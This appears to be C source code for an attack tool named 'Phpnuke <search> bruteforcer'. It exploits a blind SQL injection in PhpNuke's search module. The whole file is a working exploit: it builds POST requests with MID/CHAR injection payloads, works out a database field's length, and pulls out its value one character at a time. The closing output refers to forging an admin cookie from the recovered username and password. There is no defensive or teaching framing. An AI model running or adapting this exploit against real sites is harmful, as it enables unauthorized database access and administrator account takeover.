/*****************************************
 *    Phpnuke <search> bruteforcer :)
 ****************************************/

#include "functions.h"
#include <stdio.h>

// net ..
#include <netdb.h>	// gethostbyname
#include <sys/types.h>
#include <sys/socket.h>

//
#include <time.h>

#define	MINPASS	1
#define MAXPASS 50

#define TIMEOUT_U 500000
#define TIMEOUT_S 0

#define MAXBUFFER 	60000

#define DEFAULTPORT	80


// The first one is for PhpNuke 5.x
// The second one is for PhpNuke 6.x
//#define REQUEST		"POST /modules.php?name=Search HTTP/1.0\n"		
#define REQUEST		"POST /search.php HTTP/1.0\n"				\
			"Host: %s\n"						\
			"Content-Type: application/x-www-form-urlencoded\n"	\
			"Content-Length: %d\n\n"				\
			"%s\n\n"						

#define CONTENT		"category=%s&query=a"

#define INJECT          "%d+AND+MID%%28%s,%d,1%%29+like+CHAR%%28%d%%29"
#define INJECT_CASE	"%d+AND+BINARY+MID%%28%s,%d,1%%29+like+CHAR%%28%d%%29"

#define DEBUG		0

#define char_correct_nocase(caracter,length)	char_correct(caracter,length,1,0)
#define char_correct_case(caracter,length)	char_correct(caracter,length,1,1)


//	.. SOC UN CUTRE ..
int	intents		= 0;

char	*target_field 	= NULL;
int	test_defined;
char	*match_string	= NULL;
char	*host		= NULL;

struct	sockaddr_in	destination;

void make_addr(short int port)
{
	struct hostent	*host_dest;
	host_dest=gethostbyname(host);
	if(!host)
	{
		fprintf(stderr,"error: i can not resolve hostname\n");
		exit(-1);
	}
	bzero(&destination,sizeof(struct sockaddr_in));
	destination.sin_family=host_dest->h_addrtype;
	destination.sin_port=htons(port);
	memcpy(&destination.sin_addr,host_dest->h_addr,host_dest->h_length);	
	endhostent();
	printf("ok: resolving host\n");
	fflush(stdout);
}

char *get_request(char *request)
{
	int	sock;
	char	*buffer;
	int	size;
	int	total_size;

	struct 	timeval timeout;
	int	res_select;
	fd_set	sock_set;
	
	// resolving
	sock=socket(AF_INET,SOCK_STREAM,0);
	if(!sock)
	{
		fprintf(stderr,"error: creating socket :?\n");
		exit(-1);
	}
	if(!connect(sock,(struct sockaddr *)&destination,sizeof(destination)))
	{
		if(DEBUG)printf("OK : connectats\n");
	}
	else
	{
		fprintf(stderr,"Error: connecting to host\n");
		exit(-1);
	}
	send(sock,request,strlen(request),0);
	buffer=safe_malloc(MAXBUFFER); 
	bzero(buffer,MAXBUFFER);
	size=0;
	total_size=0;
	do
	{
		size=recv(sock,buffer+total_size,MAXBUFFER-total_size,0);		
		total_size+=size;
		FD_ZERO(&sock_set);
		FD_SET(sock,&sock_set);
		timeout.tv_sec=TIMEOUT_S;
		timeout.tv_usec=TIMEOUT_U;
	}
	while( (total_size<MAXBUFFER) && (size!=0) && (res_select=select(sock+1,&sock_set,NULL,NULL,&timeout)) && (res_select != -1 ) );
	close(sock);
	return buffer;
}

int char_correct(char caracter ,int target_length , int category , int correct_case)
{
	char	*inject;
	int	inject_length;

	char	*content;
	char	*request;
	char	*result;
	
	FILE	*out_file;
	
	short int 	found;
	/*
	#define REQUEST		"GET /search.php HTTP/1.0\n"				\
				"Host: %s\n"						\
				"Content-Type: application/x-www-form-urlencoded\n"	\
				"Content-Length: %d\n\n"				\
				"%s\n\n"						

	#define CONTENT		"category=%s&query=a"																			     
	#define INJECT          "%d AND MID(%s,%d,1) like CHAR(%d)"
	#define INJECT_CASE	"%d AND BINARY MID(%s,%d,1) like CHAR(%d)"
	*/

	// Making Inject
	if(correct_case==0)
	{
		inject_length = sizeof(INJECT) + strlen(target_field) + 25;
		inject=safe_malloc(inject_length);
		bzero(inject,inject_length);
		sprintf(inject,INJECT,category,target_field,target_length,caracter);			
	}
	else
	{
		inject_length = sizeof(INJECT_CASE) + strlen(target_field) + 25;
		inject=safe_malloc(inject_length);
		bzero(inject,inject_length);
		sprintf(inject,INJECT_CASE,category,target_field,target_length,caracter);			
	
	}
	if(DEBUG){printf("INJECT: %s\n",inject);fflush(stdout);}
	
	// Making Content
	content=safe_malloc(sizeof(CONTENT)+strlen(inject)+1);
	bzero(content,sizeof(CONTENT)+strlen(inject)+1);
	sprintf(content,CONTENT,inject);
	if(DEBUG){printf("CONTENT: %s\n",content);fflush(stdout);}

	// Making Request
	request = safe_malloc(strlen(REQUEST)+strlen(host)+strlen(content)+5);
	bzero(request,strlen(REQUEST)+strlen(host)+strlen(content)+5);		
	sprintf(request,REQUEST,host,strlen(content),content);	
	if(DEBUG){printf("Request  : %s\n",request);fflush(stdout);}

	// Sending
	result  = get_request(request);
	if(DEBUG){printf("Recieved : %s\n",result);fflush(stdout);}

	// Saving data if test defined
	if(test_defined)
	{
		if(test_defined==1)
		{
			// Saving the result in a file
			out_file=fopen("test01.htm","w");
			if(!out_file)
			{
				printf("Error: Trying to open file\n");
				exit(-1);
			}
			fprintf(out_file,"%s\n",result);
			fclose(out_file);
		}
		if(test_defined==2)
		{
			// Saving the result in a file
			out_file=fopen("test02.htm","w");
			if(!out_file)
			{
				printf("Error: Trying to open file\n");
				exit(-1);
			}
			fprintf(out_file,"%s\n",result);
			fclose(out_file);
		}
	}
	
	// Matching result
	if(strstr(result,match_string))
		found = 1;
	else
		found = 0;
	
	free(result);
	free(request);
	free(content);
	free(inject);
	return found;
}

// char	*charset="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNMM1234567890B";
char	*charset="$abcdef0123456789ghijklmnopqrstuvwxyz.-()[]{}@=/\\|#?¿&·!<>ñÑ__";
//char	*charset="qwertyuiopasdfghjklñzxcvbnm9876543210.-()[]{}@=/\\|#?¿&·!<>ñÑ__";
void bruteforce(int pass_length)
{
	short int	current_length=0;
	short int	current_char=0;
	char		*current_test;
	current_test=safe_malloc(pass_length+1);	
	bzero(current_test,pass_length+1);	
	printf("OK: Trying %s",current_test);
	
	while(current_length < pass_length)
	{
		intents++;
		current_test[current_length]=charset[current_char];
		printf("\rOK: Trying %s",current_test);
		fflush(stdout);
		if(char_correct_nocase(current_test[current_length],current_length+1))
		{
			// Checking case
			if(char_correct_case(current_test[current_length],current_length+1))
			{
				current_length++;
				current_char=0;
			}
			else
			{
				current_test[current_length]-=('a'-'A');
				if(!char_correct_case(current_test[current_length],current_length+1))
				{
					printf("Error: Checking case\n");
					exit(-1);
				}
				else
				{
					current_length++;
					current_char=0;
				}
			}
		}
		else
		{
			current_char++;
			if(current_char>=(strlen(charset)-1))
			{
				fprintf(stderr,"\nError: pass not found ( charset too small ? )\n");
				exit(-1);
			}
		}
	}
	printf("\n");
}

int find_length()
{
	short int current_length=1;
	if(!char_correct_nocase('_',1))
		return 0;
	while(char_correct_nocase('_',current_length))
	{
		printf("\rOK: Trying length %d",current_length);
		fflush(stdout);
		current_length++;
	}
	printf("\n");
	return (current_length-1);
}

void usage(char *program)
{
	
	printf("Us: %s\n",program);
	printf("\t-h host\n");
	printf("\t-f target field\n");
	printf("\t-m match string\n");
	printf("\t[-t ( Test Only )]\n");
	printf("\t[-p port]\n");
	printf("\t[-l field length]\n");
	printf("\t[TODO -o uid objectiu]\n");
	printf("NECESARIS -h <host> -m <match_string> -f <target_field>\n");
	
}
\
int getopt(int argc, char * const argv[],
		                  const char *optstring);

extern char *optarg;

int main(int argc, char **argv)
{
	// Options
	char 		opcio;
	int		field_length=0;
	short int	port=0;
	short int	pass_length=0;

	// Benchmarks
	time_t		inicial;
	time_t		final;
	
	if(argc<6)
	{
		usage(argv[0]);
		exit(-1);
	}
	while((opcio=getopt(argc,argv,"h:f:tp:l:m:"))!=-1)
	{
		switch(opcio)
		{
			case	'h':
				host=safe_malloc(strlen(optarg));				
				strcpy(host,optarg);
				host[strlen(optarg)]='\0';
				break;
			case 	'p':
				port=strtol(optarg,NULL,10);
				break;
			case	'l':
				pass_length=strtol(optarg,NULL,10);
				break;
			case	'f':
				target_field=safe_malloc(strlen(optarg)+1);
				strcpy(target_field,optarg);
				target_field[strlen(optarg)]='\0';
				break;
			case	'm':
				match_string=safe_malloc(strlen(optarg)+1);			
				strcpy(match_string,optarg);
				match_string[strlen(optarg)]='\0';
				break;
			case	't':
				test_defined=1;
				break;
			default :
				usage(argv[0]);				
				exit(-1);
		}
	}
	if(!target_field || !match_string || !host)
	{
		usage(argv[0]);
		exit(-1);
	}
	if(!port)
	{
		port=DEFAULTPORT;
	}
	make_addr(port);
	if(test_defined)
	{	
		test_defined=1;
		printf( "category    0 -> %d\n",char_correct('_',1,    1,0));
		test_defined=2;
		printf( "category 9999 -> %d\n",char_correct('_',1,99999,0));
	}
	else
	{
		if(!pass_length)
		{
			
			printf("OK: Trying to find field length\n");fflush(stdout);
			pass_length=find_length();
			if(pass_length==0)
			{
				fprintf(stderr,"Error: Trying to find pass length\n");
				exit(-1);
			}
			printf("OK: Field length %d\n",pass_length);
			fflush(stdout);			
		}
		inicial=time(NULL);
		bruteforce(pass_length);
		final=time(NULL);
		printf("OK: Elapsed time    :%d Sec\n",final - inicial);
		printf("OK: Number of tries :%d \n",intents);
		printf("OK: Cookie = admin = username:pass:bla\n");
	}
}
